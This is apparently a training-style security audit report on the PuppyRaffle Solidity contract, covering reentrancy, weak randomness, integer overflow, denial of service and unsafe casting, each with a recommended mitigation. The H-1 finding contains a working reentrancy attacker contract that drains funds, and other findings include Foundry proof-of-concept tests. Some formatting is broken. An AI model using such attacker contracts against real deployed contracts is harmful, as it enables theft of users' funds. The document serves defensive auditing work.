Ramil Must

Protocol Audit Report

Version 1.0

Ramil Mustafin

June 9, 2025

Protocol Audit Report

Ramil Mustafin

June 9, 2025

Prepared by: Ramil Mustafin

Table of Contents

    * [M-1] Looping throught players array for duplicates in `PuppyRaffle::enterRaffle` is a potential
    * [M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
    * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of Solidity is not recommended.
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State Changes are Missing Events
    * [I-7] _isActivePlayer is never used and should be removed
    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Storage Variables in a Loop Should be Cached

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

Ramil Mustafin makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document corespond the following commit hash: Commit Hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the feeAddress, denominated by the _owner variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the feeAddress variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the players array.

Executive Summary

Despite the small number of lines of code, serious vulnerabilities have been discovered in this contract.

Slither and aderyn were used during security research process

Issues found

Severtity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] `PuppyRaffle::refund` performs an asset transfer before the player's status changes, and this can be the starting point for reentrancy attack.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

The 'PuppyRaffle::refund' function initiates an external asset transfer before updating the player's address to address(0). This ordering allows an attacker to exploit the contract through a reentrancy attack, as the external call occurs while the contract is still in an inconsistent state.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

>@      payable(msg.sender).sendValue(entranceFee);
>@      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: Allows an attacker to perform a reentrancy attack, potentially draining funds from the contract.

Proof of Concept: 1. User enters the raddle 2. Attacker sets up a contract with a `fallback` function that calls `PyppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PyppyRaffle::refund` from their attack contract, drainig the contract balance

For demonstration we can add to the tests the attacking contract and new test function.

PoC

Test function

```
    function testReentrancyAttackRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContrackBalance = address(attacker).balance;
        uint256 startingRaffleBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();

        console.log("startingAttackContrackBalance", startingAttackContrackBalance);
        console.log("startingRaffleBalance", startingRaffleBalance);

        console.log("ending attacker contract balance", address(attacker).balance);
        console.log("ending puppyRaffle balance", address(puppyRaffle).balance);
    }


contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

```

```
    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = _puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: It is recommended to use the principle of Check Effects Interactions (CEI) like this:

```
 function refund(uint256 playerIndex) public {
     address playerAddress = players[playerIndex];
     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
         can refund");
     require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

+    players[playerIndex] = address(0);
+    emit RaffleRefunded(playerAddress);
     payable(msg.sender).sendValue(entranceFee);
-    players[playerIndex] = address(0);
-    emit RaffleRefunded(playerAddress);
 }
```

[H-2] `PuppyRaffle::selectWinner` selects a winner using code with weak randomness, which can lead to manipulation of the smart contract operation

Description: The `winnerIndex` in `PuppyRaffle::selectWinner` is calculated as follows:

```
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
```

This approach to randomness is insecure, as the involved variables (`msg.sender`, `block.timestamp`, and `block.difficulty`) are either controllable or predictable to some extent. As a result, an attacker can potentially manipulate or predict the outcome, undermining the fairness of the winner selection process.

Impact: An attacker can influence or predict the outcome of the raffle by manipulating input parameters such as `msg.sender` and timing the transaction to control `block.timestamp` and potentially `block.difficulty`. This undermines the fairness of the raffle and may allow malicious users to consistently win, leading to loss of trust or unfair distribution of rewards.

Proof of Concept: An attacker can repeatedly call the `PuppyRaffle::selectWinner` function within the same block or manipulate the transaction timing (e.g., using bots) to predict or brute-force the `winnerIndex`. Since all of `msg.sender`, `block.timestamp`, and `block.difficulty` values are either public or partially controllable, the randomness is not secure.

Recommended Mitigation: 1. Replace the insecure randomness with a secure source such as Chainlink VRF (Verifiable Random Function). This ensures that the winner is selected based on a tamper-proof and verifiable random number that cannot be influenced by participants or miners. 2. Use the commit reveal scheme. The scheme involves two steps: commit and reveal. During the commit phase, users submit a commitment that contains the hash of their answer along with a random seed value. The smart contract stores this commitment on the blockchain. Later, during the reveal phase, the user reveals their answer and the seed value. The smart contract then checks that the revealed answer and the hash match, and that the seed value is the same as the one submitted earlier. If everything checks out, the contract accepts the answer as valid and rewards the user accordingly.

[H-3] `totalFees` potential overflow can cause a potential financial loss

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

The contract uses an arithmetic operation to accumulate collected fees:

```
totalFees = totalFees + uint64(fee);
```

However, this contract is written in a version of Solidity prior to ^0.8.0, which does not automatically check for integer overflows or underflows. The variable totalFees is presumably declared as a uint64, while fee is calculated based on the total number of participants and the entranceFee:

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 fee = (totalAmountCollected * 20) / 100;
```

If `totalFees` + `fee` exceeds the maximum value of uint64 (2^64 - 1), the result will silently wrap around to 0 or a small number, corrupting the accounting logic of the protocol.

Impact: - Silent overflow can cause totalFees to reset or become incorrect. - It may prevent the protocol owner from correctly tracking or withdrawing fees. - Creates a potential financial loss or misreporting of protocol revenue. - Could also be exploited if someone triggers many raffles in a short period with high entranceFee

Proof of Concept: Add folowing test in `PuppyRaffleTest.t.sol`

PoC

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
```

```
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: 1.Upgrade Solidity to version ˆ0.8.0 or later, where overflows cause automatic revert.

2.If staying on <0.8.0, use SafeMath from OpenZeppelin:

```
using SafeMath for uint64;
totalFees = totalFees.add(uint64(fee));
```

Medium

[M-1] Looping throught players array for duplicates in `PuppyRaffle::enterRaffle` is a potential

denial of service (DoS) attack, incrementing gas cost for future entrance

Description: The `PuppyRaffle::enterRaffle` function iterates through the `players` array to check for duplicate entries. As the `PuppyRaffle::players` array grows, each new participant has to perform more checks. This results in significantly lower gas costs for players who enter early compared to those who join later. Each additional address in the `players` array adds another iteration to the loop.

```
        //@audit DoS attack
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: Gas cost for each subsequent raffle participant will be higher, which creates an advantage for the first participants. Also, the attacker can make the length of the `PuppyRaffle::entrants` so long that it eliminates the point of participating in the raffle

Proof of Concept: If the had two sets of 100 players enter, the gas costs will be as such: - gasUsed for 0-99 players: 6503275 - gasUsed for 100-199 players: 18995515

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
    function testDosAttack() public {
        vm.txGasPrice(1);

        address[] memory playersFirstSet = new address[](100);
        for (uint256 i = 0; i < playersFirstSet.length; i++) {
            playersFirstSet[i] = address(i);
        }
        uint256 gasStartFirstSet = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersFirstSet.length}(playersFirstSet);
        uint256 gasEndFirstSet = gasleft();
        uint256 gasUsedFirstSet = (gasStartFirstSet - gasEndFirstSet) * tx.gasprice;
        console.log("gasUsed for 0-99 players", gasUsedFirstSet);

        address[] memory playersSecondSet = new address[](100);
        for (uint256 i = 0; i < playersSecondSet.length; i++) {
            playersSecondSet[i] = address(i + 100);
        }
        uint256 gasStartSecondSet = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersSecondSet.length}(playersSecondSet);
        uint256 gasEndSecondSet = gasleft();
        uint256 gasUsedSecondSet = (gasStartSecondSet - gasEndSecondSet) * tx.gasprice;
        console.log("gasUsed for 100-199 players", gasUsedSecondSet);

        assert(gasUsedFirstSet < gasUsedSecondSet);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so they can be stopped from entering multiple times.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of wheather a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;

     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
+
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
```

```
+         }

          for (uint256 i = 0; i < newPlayers.length; i++) {
              players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
          }

          emit RaffleEnter(newPlayers);
      }

      function selectWinner() external {
+         raffleId = raffleId + 1;
          require(block.timestamp >= raffleStartTime + raffleDuration, "
             PuppyRaffle: Raffle not over");
```

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
```

```
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at

index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the netspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle:getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: Solutions: - Reserve the 0th position for eny competition - Revert if the player is not in the array - Return an `int256` where the function returns -1 if the player is not active

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documentation for more information

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI

It's best to keep code clean and follow CEI (Checks, Effects, Interactions). `diff - (bool success,)= winner.call{value: prizePool}(""); - require(success, " PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner , tokenId); + (bool success,)= winner.call{value: prizePool}(""); + require(success, "PuppyRaffle: Failed to send prize pool to winner");`

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples: "'js uint256 public constant PRIZE_POOL_PERCENTAGE = 80; uint256 public constant FEE_PERCENTAGE = 20; uint256 public constant POOL_PRECISION = 100;

```
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```
```

#### [I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

#### [I-7] _isActivePlayer is never used and should be removed

**Description:** The function PuppyRaffle::_isActivePlayer is never used and should be removed.

````
```diff
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
````

```
-             }
-         }
-         return false;
-     }
```
```

##Gas

#### [G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

#### [G-2] Storage Variables in a Loop Should be Cached
```